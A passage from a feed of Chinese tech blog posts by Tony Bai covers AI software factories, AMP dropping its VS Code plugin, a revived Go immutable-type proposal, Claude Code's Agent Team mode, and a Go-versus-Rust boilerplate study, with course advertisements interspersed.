年代瓦特改良蒸汽机的前夜。\nAI 软件工厂 不是科幻小说，它正在此时此刻发生。\nClaude Code的Agent Team、针对编码智能体编排的Gas Town等，很可能都是这座工厂雏形的组件。\nKarpathy 说的 “The hottest new programming language is English” 并不是一句玩笑。它意味着编程的门槛被无限降低，但构建系统的门槛被无限拔高。\n无论你是想做“订货人”还是“厂长”，现在开始学习驾驭 AI Agent，学习如何构建和管理这些“数字员工”，是你拿到新时代船票的唯一方式。\n你的“厂长”初体验\n“软件工厂”的时代正在加速到来，我们每个人都将面临从“码农”到“订货人”或“厂长”的转型。想象一下，如果你现在拥有一座 24 小时不停工的“AI 软件工厂”，你最想让它为你生产一个什么样的系统？你认为在“机机协作”的未来，人类程序员最后的护城河在哪里？\n欢迎在评论区分享你的脑洞与思考！让我们一起在这场软件工业革命的前夜寻找坐标。\n如果这篇文章为你揭示了软件工程的未来，别忘了点个【赞】和【在看】，并转发给你的架构师朋友，大家一起未雨绸缪！\n亲手搭建你的“微型工厂”\n虽然完全自动化的“软件工厂”还在建设中，但其中的核心技术——Agent 编排、Spec 驱动开发——已经触手可及。\n在我的极客时间专栏《AI 原生开发工作流实战》中，我将带你从零开始，利用 Claude Code，构建一个微型的 AI 软件流水线。\n如何让 Coder Agent 和 QA Agent 左右互搏，实现代码自愈？ 如何用 Spec 文档指挥整个生产流程？ 如何构建一个能自我修复 Bug 的智能体闭环？ 扫描下方二维码，开启你的 AI 架构师之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/10/ai-agent-realizes-ultimate-dream-software-factory/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-agent-realizes-ultimate-dream-software-factory-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/10/ai-agent-realizes-ultimate-dream-software-factory\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/10/ai-agent-realizes-ultimate-dream-software-factory\"\u003ehttps://tonybai.com/2026/02/10/ai-agent-realizes-ultimate-dream-software-factory\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在计算机科学与软件工程的历史长河中，始终存在着一个令人魂牵梦绕、却又屡屡受挫的终极梦想——\u003cstrong\u003e“软件工厂（Software Factory）”\u003c/strong\u003e。\u003c/p\u003e","title":"输入需求，输出系统：AI Agent 正在实现软件工程的“终极梦想” —— 软件工厂！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/09/amp-kills-vscode-plugin-human-ai-pair-programming-is-dead\n大家好，我是Tony Bai。\n如果一家 AI 编程工具公司，宣布砍掉它最受欢迎、用户量最大的产品入口，你会怎么想？\n这听起来像是商业自杀，但这正是 AMP（从 Sourcegraph 孵化出来的 AI 编程 Agent）刚刚做出的决定。\n在 2026 年 2 月的一期播客中，AMP 的创始人 Thorsten 和 Quinn 宣布：将在 60 天后，彻底关停 AMP 的 VS Code 插件和 Cursor 扩展。\n要知道，在过去的两年里（2024-2025），IDE 侧边栏（Sidebar）几乎定义了 AI 编程的标准形态。无论是 GitHub Copilot、Cursor 还是早期的 AMP，我们都习惯了在编辑器里写代码，在侧边栏里和 AI “乒乓球”式地对话。\n但 AMP 团队认为：这个时代结束了。\n“你看着代码，AI 在侧边栏看着你，你们一来一回地对话……这种模式不是未来。对于那 1% 想要活在未来的开发者来说，侧边栏不仅不是助力，反而是枷锁。”\n为什么他们敢于“烧掉桥梁”？因为一种全新的开发范式——“AI软件工厂模式（The Factory）”，正在随着 GPT-5.2 和 Claude Opus 4.5的成熟以及新版本编程大模型的发布而全面爆发。\n今天，我们深度解读这份极具前瞻性的访谈，看看为什么 IDE 侧边栏必死，以及未来的软件工厂究竟长什么样。\nDeep Mode：当 AI 学会了“深思熟虑” 要理解为什么要砍掉侧边栏，首先要理解模型能力的质变。\n在 2025 年之前，主流模型（如 Claude 3.5 Sonnet）的特点是“聪明但急躁”。它们非常适合 Smart Mode：你问一个问题，它秒回一段代码；你报错，它秒回修正。这是一种高频的、实时的“结对编程”体验。\n但随着 GPT-5.2 Codex 的发布，情况变了。\nAMP 推出了一个新的模式：Deep Mode（深度模式）。\n特性：这个模型不爱说话，它爱干活。它不是“懒惰”，而是“深沉”。 特工作流：你给它一个模糊但宏大的目标（例如“重构整个鉴权模块并适配新的安全协议”），然后你就可以走开了。 特时延：它可能会运行 45 分钟甚至 60 分钟。它会自主查阅文档、搜索代码、尝试方案、遇到错误、自我修正、运行测试，直到最终交付结果。 “侧边栏”完全无法承载这种体验。\n想象一下，如果你在 IDE 侧边栏里发了一个指令，然后 AI 转了 45 分钟圈圈，期间你不敢关窗口，不敢切分支，这是一种多么糟糕的体验？\n结论 1：\n当 AI 的能力从“秒级补全”进化到“小时级任务”时，它必须脱离 IDE，进入后台，成为一个独立的Worker，而不是依附于编辑器的 Assistant。\n惊人的抉择：Agent DX \u0026gt; Human DX 访谈中透露了一个令人细思极恐的细节，揭示了 AI 原生开发时代的价值观重构。\nAMP 团队为了优化内部的开发效率，重写了他们的构建工具。\n他们用 Zig 语言重写了 svelte-check，将其命名为 zvelt-check。这样做的目的是为了让 Agent 跑得更快，且输出的日志更结构化（便于 Agent 解析）。不过，这个新工具也破坏了 VS Code 对 Svelte 的原生支持（Human DX 下降）。人类开发者在编辑器里看到的错误提示变差了，甚至失去了一些高亮功能。\n在“人类体验（Human DX）”和“智能体体验（Agent DX）”发生冲突时，AMP 选择了后者。\n甚至有一半使用 NeoVim 的员工表示：“我不在乎 VS Code 体验变差，只要 Agent 跑得快就行。”\n这是一个标志性的时刻。\n长久以来，所有的开发者工具（CLI、Linter、Log）都是为了“让人类读懂”而设计的。我们需要漂亮的颜色、进度条、友好的报错提示。\n但在 AI 时代，90% 的工具调用者将是 Agent。Agent 不需要颜色，不需要进度条，它们需要的是极致的速度、结构化的 JSON 输出、幂等的执行逻辑。\n结论 2：\n未来的工具链，将优先为 AI 优化。如果一个工具对人类不友好但对 AI 友好，它依然会被采用。我们正在主动劣化人类的开发体验，以换取 AI 生产力的十倍跃迁。\n软件的消融：从 SaaS 到 Text 访谈中提到了一个名为 “The Melting of Software（软件的消融）” 的概念。这不仅影响开发工具，更影响我们构建产品的方式。\n案例 A：Ryan Florence 的健身教练\nRyan 没有使用任何健身 App。他只是打开了 ChatGPT 的语音模式，说：“我在家里的健身房，指导我锻炼。”\nAI 说：“做一组深蹲，好了叫我。”\nRyan 做完说：“好了。”\nAI 说：“休息 60 秒。”\n没有 UI，没有按钮，没有 App。软件消失了，只剩下服务。\n案例 B：购物清单的回归\nTorston 本想用 Agent 自动化管理 Todoist（一个著名的待办事项 App）。\n但他突然意识到：“我为什么要用 Todoist？我的购物清单只有 15 项。Agent 可以直接在一个纯文本文件里管理它。”\n如果 Agent 能读懂文本，能实时更新状态，能通过 CLI 提醒我，那我为什么还需要一个复杂的 SaaS 软件？\n这指向了一个终极问题：当 Agent 能够理解非结构化数据，并能通过原子化工具（如Skills）操作一切时，传统的“应用软件”是否会大量消亡？\n未来的软件，可能不再是精心设计的 GUI，而是一组 Skills（能力） + Context（上下文文件）。\n你不需要 Google Cloud 的网页控制台，你只需要给 Agent 一个 gcloud 的 Skill。 你不需要 Jira 的复杂界面，你只需要一个能读写 Markdown 的 Agent。 结论 3：\n软件正在退化为 API 和数据，中间的“交互层”正在被 Agent 接管。\n技能（Skills）：新的抽象层 既然侧边栏死了，我们靠什么来通过 AI 开发？\n答案是：CLI + Skills。\nAMP 团队展示了他们如何在内部大量使用 Skills。\nTmux Skill：教 Agent 如何在终端里正确使用 Tmux，如何杀掉进程（甚至包括“记得按两次 Ctrl-C”这种经验知识）。 Google Cloud Skill：赋予 Agent 使用 Google Cloud CLI 的能力。 BigQuery Skill：这被描述为“最神奇的体验”。你问：“多少用户用了这个功能？”，Agent 自动写 SQL，查 BigQuery，返回结果。 Skills 是“经验的固化”。\n当你教会 Agent 解决一个问题后，让它把过程总结成一个 Skill。下次，它（以及团队里的其他 Agent）就不会再犯错。\n这比在 Chat 窗口里一遍遍写 Prompt 要高效得多。\n组织哲学：像艺术装置一样自我毁灭 为什么 AMP 敢于砍掉 VS Code 插件？这源于他们独特的公司哲学。\n“我们就像一个艺术装置（Art Installation），随时准备自我毁灭和重建。”\n在这个技术每 3 个月就迭代一代的疯狂时代，“护城河”是最大的陷阱。\nGitHub Copilot 曾经是王者，Cursor 出来后它显得老了。 Cursor 曾经是王者，Claude Code 和 AMP 出来后，编辑器模式显得老了。 也许 3 个月后，OpenClaw 这样的纯本地 Agent 会让现在的模式也显得老了。 AMP 的 CEO 说：“如果我们因为‘用户习惯’而保留旧功能，我们就会变成哪怕是最好的‘落伍者’。我们必须每 3 个月重新赢得我们的客户。”\n“Run towards the fire.”（向着炮火前进。）\n如果你看到某个技术趋势正在颠覆你，不要躲避，不要观望，加入它，甚至成为颠覆自己的人。\n小结：给 1% 的开发者 这篇文章可能让大家感到不安。\n你习惯了 VS Code，习惯了 Copilot 的自动补全，习惯了掌控一切。\n但在 2026 年的视野里，“人机结对”只是一个过渡形态。\n真正的未来属于 Agentic System（智能体系统），属于 Factory（软件工厂）。\n在那个未来里：\n你不再是写代码的人，你是定义 Spec 的人。 你不再在编辑器里工作，你在终端（CLI）里指挥。 你不再管理代码，你管理智能体集群。 对于那 1% 愿意走出舒适区、拥抱**“Factory Mode”**的开发者来说，你们的生产力将不再是线性的增长，而是指数级的爆发。\n侧边栏已死，工厂万岁。\n资料链接：https://www.youtube.com/watch?v=4rx36wc9ugw\n你愿意为效率牺牲体验吗？\nAMP 为了 Agent 效率主动劣化人类开发体验（Agent DX \u0026gt; Human DX），这一决定让你感到兴奋还是不安？如果一个工具能让你效率提升 10 倍，但代价是你再也看不清语法高亮，你会接受吗？\n欢迎在评论区分享你对“AI 软件工厂”的看法！\n提前布局你的“软件工厂”\n虽然我们还不能完全抛弃编辑器，但 AMP 倡导的 Agent-Native 开发流，现在就可以开始实践。\n在我的极客时间专栏**《AI 原生开发工作流实战》**中，我们将深度对齐这种前沿理念：\nCLI First：如何脱离 IDE，使用 Claude Code 在终端完成全流程开发？ Skill Engineering：如何编写高质量的 Skill，让 Agent 掌握你独有的业务知识？ Agent DX 优化：如何改造你的项目结构，让它对 AI 更友好？ 不要等了。扫描下方二维码，现在就构建你的未来开发流。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/09/amp-kills-vscode-plugin-human-ai-pair-programming-is-dead/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/amp-kills-vscode-plugin-human-ai-pair-programming-is-dead-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/09/amp-kills-vscode-plugin-human-ai-pair-programming-is-dead\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/09/amp-kills-vscode-plugin-human-ai-pair-programming-is-dead\"\u003ehttps://tonybai.com/2026/02/09/amp-kills-vscode-plugin-human-ai-pair-programming-is-dead\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果一家 AI 编程工具公司，宣布砍掉它最受欢迎、用户量最大的产品入口，你会怎么想？\u003c/p\u003e\n\u003cp\u003e这听起来像是商业自杀，但这正是 AMP（从 Sourcegraph 孵化出来的 AI 编程 Agent）刚刚做出的决定。\u003c/p\u003e","title":"AMP 宣布砍掉 VS Code 插件：为什么说“人机结对编程”已死？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/09/go-immutable-types-8-year-dormant-proposal-awakened\n大家好，我是Tony Bai。\n2026 年 2 月 4 日，在 Go 语言规范团队的最新一次“语言变更评审会议”纪要中，一个尘封已久的 Issue 赫然在列：proposal: spec: immutable type qualifier #27975。\n这个提案最初提交于 2018 年，那是“Towards Go 2”口号喊得最响亮的年代。当时的 Go 社区正沉浸在对泛型、错误处理和不可变性的热烈讨论中。然而，随着泛型的落地，关于不可变性的声音似乎逐渐微弱。\n如今，这个提案被重新摆上台面，是否意味着 Go 语言在完成泛型这一宏大叙事后，终于要向“数据竞争”和“防御性编程”这两个顽疾开刀了？\n今天，我们就来看看复盘这份长达 8 年的提案，剖析一下“不可变性”对 Go 意味着什么，以及它面临的巨大挑战。\n痛点：防御性拷贝的代价 在 Go 1.x 的世界里，我们为了保证数据的安全性，往往需要付出高昂的代价。\n假设你有一个包含敏感配置的结构体，你想把它暴露给其他包，但又不希望它被修改：\ntype Config struct { Servers []string // ... } // 现在的做法：为了安全，必须返回拷贝 func (c *Config) GetServers() []string { out := make([]string, len(c.Servers)) copy(out, c.Servers) return out } 这种“防御性拷贝”带来了两个严重问题：\n性能损耗：每次访问都要分配内存和复制数据，对于热点路径是不可接受的。 语义模糊：如果我不拷贝，直接返回 c.Servers，调用者能不能改？文档说不能改，但这只是君子协定，编译器不会阻止手滑的程序员。 正如提案作者 romshark 所言：“我们现在的做法，要么是不安全的（直接返回指针），要么是低效的（防御性拷贝）。”\n而不可变类型（Immutable Types）的引入，旨在提供第三种选择：既安全，又高效。\n提案核心：immut 限定符 NO.27975 提案的核心思想非常直接：引入一个新的类型限定符（最初建议重载 const，后倾向于引入immut ），让编译器来强制执行“只读”契约。\n想象一下这样的 Go 代码：\n// 定义一个只读的切片类型 func ProcessData(data immut []byte) { // 读取是 OK 的 fmt.Println(data[0]) // 修改是编译错误的！ // data[0] = \u0026#39;X\u0026#39; // Compile Error: cannot assign to immutable type } 在这个愿景中，不可变性是类型系统的一部分。\n赋值限制：你不能把一个 immut 类型的变量赋值给一个 mut（可变）类型的变量，这防止了“权限逃逸”。 传递性：如果一个结构体是不可变的，那么它字段指向的所有数据（如切片、映射、指针）也自动变为不可变。 这看起来很像 Rust 的 \u0026amp; (immutable reference) 和 \u0026amp;mut (mutable reference)，或者 C++ 的 const。但 Go 社区的讨论，揭示了这背后远比想象中复杂的工程难题。\n社区激辩：理想与现实的碰撞 这份提案下的讨论区，堪称 Go 语言设计哲学的“修罗场”。Ian Lance Taylor, Rob Pike 等核心大佬纷纷下场，与社区开发者展开了长达数年的拉锯战。\nconst 污染 这是 Ian Lance Taylor 最担心的问题。如果你把一个底层函数的参数标记为 immut，那么所有调用它的上层函数，为了传递这个参数，往往也需要把自己的变量标记为 immut。\n这种“传染性”会导致代码库中充斥着 immut 关键字。更糟糕的是，如果你以后需要修改底层函数，让它对数据进行一点点修改，你需要修改整个调用链上的类型签名。这在 C++ 中被称为“const correctness”的噩梦。\nio.Writer 的尴尬 bcmills 提出了一个极其尖锐的兼容性问题：现有的 io.Writer 接口定义是 Write(p []byte)。\n如果我们把 p 改成 immut []byte，那么现有的所有 Write 方法实现都会破坏兼容性。 如果我们不改，那么即使我手里有一个只读的切片，我也没法把它传给 io.Writer，因为类型不匹配。 这似乎陷入了一个死循环：要么破坏所有现有代码，要么新特性无法与标准库兼容。\n所谓“不可变”，到底是谁不可变？ jimmyfrasche 指出了一个微妙的语义陷阱。\n在 C++ 中，const T\u0026amp; 只是意味着“我不可以通过这个引用去修改它”（Read-only View），并不意味着“这个数据本身不会变”。因为可能还有另一个非 const 的指针指向同一块内存，并且正在修改它。\n如果是前者（只读视图），它无法解决并发安全问题（数据竞争依然存在）。如果是后者（真正的内容不可变），那么 Go 必须引入一套类似 Rust 的所有权（Ownership）系统来保证“没有其他人在写”。这对于 Go 来说，改动太大了。\n为何现在重提？ 既然困难重重，为何在 2026 年的今天，这个提案又被翻出来了？\n我认为有几个关键因素：\n首先，泛型的“降维打击”。以权限泛型（Permission Genericity）化解兼容性死结。\n前面提到了，在 Go 1.18 泛型落地之前，不可变性提案面临着一个被称为“io.Writer 陷阱”的致命矛盾：如果将 io.Writer.Write(p []byte) 改为接受 immut []byte，将导致全世界现有的实现代码因签名不匹配而崩溃；如果不改，只读数据又无法直接传入。\n泛型的引入为这一难题提供了全新的解题思路。通过类型约束中的联合类型（Union Types），我们可以实现所谓的“权限泛型性”。这意味着 mutability（可变性）不再是一个硬编码的死结，而可以作为一个类型参数（Type Parameter）来处理。\n想象一下，我们可以利用泛型约束定义一个覆盖“可变”与“不可变”两种状态的超集：~[]byte | ~immut []byte。下面是在这种模式下的一个泛型化的Writer接口：\n// 这是一个设想中的“权限泛型”接口 type Writer[T ~[]byte | ~immut []byte] interface { Write(p T) (n int, err error) } 泛型化的 Write[T ~[]byte | ~immut []byte](p T) 方法，在逻辑上可以产生如下影响：\n权限无关的调用：由于约束涵盖了两种类型，调用者现在可以合法且安全地将 immut []byte 传给标准库函数，解决了“只读数据无法写入”的窘境。 非破坏性的兼容：对于现有的实现者（如 bytes.Buffer），其原本定义的 Write([]byte) 签名可以被视为该泛型约束的一个特化实例。编译器可以在不改动任何旧代码、不引入任何运行时开销的前提下，在静态分析阶段完成权限的自动适配与校验。 其次，性能压力的倒逼。\n随着 Go 在高性能领域的应用越来越深（如数据库、AI 推理），对于“零拷贝”的需求越来越强烈。能够安全地共享内存，是提升性能的关键。\n最后是安全性需求。\n在并发编程中，数据竞争依然是 Go 程序的头号杀手。go vet 和 race detector 虽然好用，但它们是运行时的、滞后的。社区渴望一种编译期的保证。\n未来的可能性：温和的演进 虽然完全的“不可变类型”可能依然很难落地，但我们可以期待一些更温和的替代方案：\n只读视图 (Read-only Views)：不是引入新的关键字，而是引入一种新的泛型类型 ReadOnly[T]，或者编译器内置的 view 类型。 纯函数检查：引入一种机制，标记某些函数是“无副作用”的，从而允许编译器进行更激进的优化。 静态分析增强：不改变语言规范，而是通过更强大的 vet 工具，利用注释或特定命名约定，来静态检查不可变性约束。 小结 NO.27975 提案的“复活”，是一个信号。它表明 Go 团队并没有满足于现状，依然在探索如何在保持“简单”这一核心价值观的同时，赋予语言更强的表达力和安全性。\n无论最终结果如何，这都是 Go 语言演进史上值得铭记的一笔。它提醒我们：在软件工程中，没有免费的午餐，每一个简单的特性背后，都是无数次复杂的权衡。\n你支持引入 immut 吗？\n面对“性能”与“简单”的博弈，你是否愿意为了消除数据竞争而接受 immut 带来的“类型传染”？在你的项目中，是否也曾深受“防御性”的性能困扰？\n欢迎在评论区分享你的看法，或者聊聊你最期待的 Go 演进方向！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/09/go-immutable-types-8-year-dormant-proposal-awakened/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-immutable-types-8-year-dormant-proposal-awakened-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/09/go-immutable-types-8-year-dormant-proposal-awakened\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/09/go-immutable-types-8-year-dormant-proposal-awakened\"\u003ehttps://tonybai.com/2026/02/09/go-immutable-types-8-year-dormant-proposal-awakened\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2026 年 2 月 4 日，在 Go 语言规范团队的最新一次“语言变更评审会议”纪要中，一个尘封已久的 Issue 赫然在列：\u003cstrong\u003eproposal: spec: immutable type qualifier #27975\u003c/strong\u003e。\u003c/p\u003e","title":"沉睡 8 年的提案被唤醒：Go 语言真的要引入“不可变类型”了吗？"},{"content":"告别单打独斗！Claude Code 全新“Agent Team”模式：当 AI 开始组队干活 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n告别单打独斗！Claude Code 全新“Agent Team”模式：当 AI 开始组队干活 二月 8, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/02/08/claude-code-agent-team-mode\n大家好，我是Tony Bai。\n2026年2月6日凌晨，Anthropic 扔出了一枚重磅炸弹。\n随着史上最强编程大模型 Claude Opus 4.6 的发布，官方博客披露了一个令人瞠目结舌的内部实验：\n一个由 16 个 Claude Agent 组成的“全自动研发团队”，在基本没有人类干预的情况下，仅用两周时间，从零写出了一个 10 万行代码的 C 语言编译器，并且成功编译了 Linux 6.9 内核。\n注意，这不是简单的代码补全，也不是写个贪吃蛇游戏。\n这是系统级软件开发。它需要处理复杂的语法解析、中间代码生成、寄存器分配，以及对 x86、ARM、RISC-V 等多种架构的底层支持。\n这一刻，我觉得我们之前熟悉的 AI 编程（Chat 模式、Copilot 模式）瞬间变得像是在玩玩具。\n这是工业级 AI 生产力的黎明。\n它标志着软件工程正在从“人机结对”进化为“智能体集群协作（Agent Team）”。\n什么是 Agent Team 模式？ 为什么之前的 AI 做不到这一点？\n因为单体 Agent 的能力是有物理极限的。\n上下文限制：写到 1 万行代码时，AI 就开始“顾头不顾腚”，忘了前面的定义。 线性阻塞：你必须等它写完这段代码，报错了你得告诉它，它再改。效率极低。 Agent Team 模式 彻底打破了这个瓶颈。它引入了两个核心概念：并行 (Parallelism) 和 专业化 (Specialization)。\n1. 并行作战：16 倍速的开发 在这个实验中，Anthropic 启动了 16 个独立的 Docker 容器，每个容器里跑着一个 Claude Agent。\nAgent A 在修 Parser 的 Bug； Agent B 在写 ARM 架构的后端； Agent C 在跑全链路测试。 它们通过 Git 进行代码同步，通过文件锁（File Locking）来避免冲突。它们不睡觉，不喝咖啡，24 小时并行工作。\n2. 角色分工：像真实团队一样协作 这不仅仅是人多力量大，更是分工明确。\n有的 Agent 负责“写代码”（Builder）； 有的 Agent 负责“代码去重”（Refactor）； 有的 Agent 负责“性能优化”（Optimizer）； 甚至还有一个专门的 Agent 负责“写文档”（Documenter）。 这就是未来的软件开发：你不再是写代码的人，你是这个数字团队的 CTO。\n3 关键突破：自我验证的闭环 除了架构上的突破，这次实验最让我震撼的是 AI 的测试策略。\n写编译器最难的是什么？是验证它对不对。\nClaude Agent Team 居然想出了一招“借鸡生蛋”：它们用成熟的 GCC 编译器 作为 Oracle（神谕/标准答案）。\nAgent 随机生成一段 C 代码。 用 GCC 编译一次，用 Claude Compiler 编译一次。 对比汇编结果或运行结果。如果不一致，说明有 Bug，自动触发修复流程。 这种“以 AI 之矛，攻 AI 之盾”的自动化测试闭环，让整个系统具备了惊人的自愈能力（Self-Healing）。它们不需要人类来 Review 代码，它们自己就能保证代码是 Work 的。\n2026：Multi-Agent 的元年 如果说 2025 年我们还在为 Coding Agent 的单点能力而欢呼，那么 2026 年的主旋律无疑是 Orchestration（编排），从2026年元旦Steve Yegge发布的GasTown，到此时此刻的Claude Code Agent Team。\n当单个模型的智商（Opus 4.6）已经足够高时，如何组织它们协作，就成了新的护城河。\n未来的软件工程，不再是研究 quicksort 怎么写，而是研究**“如何设计一套 Agent 协作协议，让一群 AI 帮我写 OS”**。\n我的实战体验：确实强 看了官方博客后，我第一时间在 Claude Code 中尝试了 Agent Team 模式。\n实话说，效果确实炸裂。\n我让它帮我重构一个复杂的 Go 项目，它自动拆解了任务：一个 Agent 去改接口定义，另一个 Agent 紧接着去修受影响的单元测试。原本需要我一下午的工作量，它们喝杯水的功夫就搞定了。\n深度实战：手把手教你使用 Agent Team 为了让大家也能用上这套“核武器”，我花了一整天时间，复现了 Agent Team 的配置流程，并踩平了所有的坑。\n我在我的极客时间专栏**《AI原生开发工作流实战》**中，刚刚更新了一篇重磅加餐文章：《Agent Teams：打造你的第一支“虚拟研发团队”》。\n在这篇加餐中，我将带你：\n环境搭建：如何在 Claude Code 中开启并配置 Agent Team 模式？ 实战演练：我们将现场组建一个由 3 个 Agent 组成的微型研发团队，完成一个真实的开发任务。 实践注意：当前的Agent Team有哪些局限？你应该使用那种展示模式？ 别再一个人战斗了。是时候组建你的 AI 军团了。\n扫描下方二维码，立刻获取这份“数字 CTO”上岗指南。\n你的“数字研发部”\n如果现在给你 16 个全能的 Claude Agent，你最想让这个“数字研发部”帮你攻克的第一个难题是什么？是重构那个尘封已久的陈旧模块，还是现场撸一个你构思已久的个人操作系统？\n欢迎在评论区分享你的“CTO 梦想”！ 让我们一起迎接智能体集群协作的新时代。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/08/claude-code-agent-team-mode/","summary":"\u003ch1 id=\"告别单打独斗claude-code-全新agent-team模式当-ai-开始组队干活---tony-bai\"\u003e告别单打独斗！Claude Code 全新“Agent Team”模式：当 AI 开始组队干活 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"告别单打独斗！Claude Code 全新“Agent Team”模式：当 AI 开始组队干活"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/08/go-boilerplate-code-vs-rust-data-refutes-stereotypes\n大家好，我是Tony Bai。\n在编程语言的鄙视链中，Go 语言常常因为其“繁琐”而饱受诟病。\n“if err != nil 写断手”、“缺乏语法糖”、“到处都是重复的样板代码”…… 这些似乎已经成为了 Go 的标签。\n相比之下，Rust 往往被视为“表达力”的代表，拥有强大的宏、模式匹配和类型系统，能够用更少的代码做更多的事。\n然而，Ben Boyter 最近的一项硬核研究，通过分析 GitHub 上各语言 Top 100 仓库（总计约 4 亿行代码），得出了一个令编程语言社区大跌眼镜的结论：\n在代码重复率和“样板代码”密度上，Go 和 Rust 几乎处于同一水平线。\n不仅是行数：ULOC 指标 传统的 SLOC（源代码行数）往往无法真实反映项目的复杂度和冗余度。Ben Boyter 使用了他开发的工具 scc 中的一个特殊指标：ULOC (Unique Lines of Code，唯一代码行数)。\nULOC 指标并非简单的“全量去重”，而是通过剥离“结构性噪音”来更精准地衡量系统的真实复杂度。其计算逻辑如下：\n剔除结构化冗余：不仅排除了空行，还排除了单纯的闭合大括号行（}）以及在不同文件中大量重复出现的公共引用代码（如 include 或 import）。 过滤文件级模板：有效识别并扣除在项目中每个文件顶部几乎完全相同的 License（许可证）声明头，避免这些非逻辑性的“样板文字”虚增代码总量。 计入注释成本：与传统 SLOC 不同，ULOC 会保留注释统计。作者认为，注释与代码一样需要同等的维护精力，反映了开发者的思考过程，因此属于“有效工作量”。 